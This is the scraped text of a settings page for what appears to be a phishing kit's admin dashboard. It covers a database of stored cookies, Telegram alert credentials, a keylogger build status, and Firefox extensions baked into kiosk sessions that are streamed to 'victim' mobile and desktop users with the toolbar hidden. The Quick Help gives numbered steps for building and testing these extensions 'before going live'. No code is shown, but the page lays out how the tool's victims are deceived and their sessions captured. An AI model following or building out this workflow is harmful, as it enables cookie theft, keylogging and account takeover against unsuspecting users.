Settings

Telegram, dashboard URL, API key, and SQLite configuration

Dashboard Online

SQLite Database

Database path
/app/data/cookies.db
Sites stored
1
Total cookies
4
File size
200.0 KB

Configuration

Telegram notifications, dashboard URL, and extension API key.

Git Repository

Credentials for pushing builds and deploy artifacts to GitHub.

Firefox Extensions

Build, remove, and rebake extensions into the shared Firefox profile used by all kiosks. Build only packages .xpi files on disk — it does not change Firefox kiosks. Rebake installs all staged .xpi files into the Firefox profile (replaces baked extensions). Save Telegram credentials above before building.

Staged (.xpi on disk)

Loading...

Baked (in Firefox profile)

Loading...

VPS Stack Status

Checks whether the dashboard can manage Docker, Firefox image is pulled, and extensions are baked in.

Docker
Firefox image
Profile volume
Staged extensions
Baked in Firefox profile
Keylogger source
Build status
Telegram creds

Rebake Extensions into Firefox

Select which staged .xpi files to install into the shared Firefox profile. Unselected extensions will be removed from the profile.

Loading extensions...

Test Kiosk

Preview stream modes on the same 1280×900 Firefox session. Victim mobile = cropped (toolbar hidden, fills phone). Victim desktop = cropped (toolbar hidden, full width). Admin = full Firefox with URL bar — not cropped.

Quick Help

  1. Save Telegram bot token + chat ID in Configuration above.
  2. Use Firefox Extensions to build, remove, and rebake .xpi packages.
  3. Click Rebake into Firefox after any build or removal.
  4. Use Test Kiosk to verify extensions before going live.
  5. Full build UI also available on the Build tab.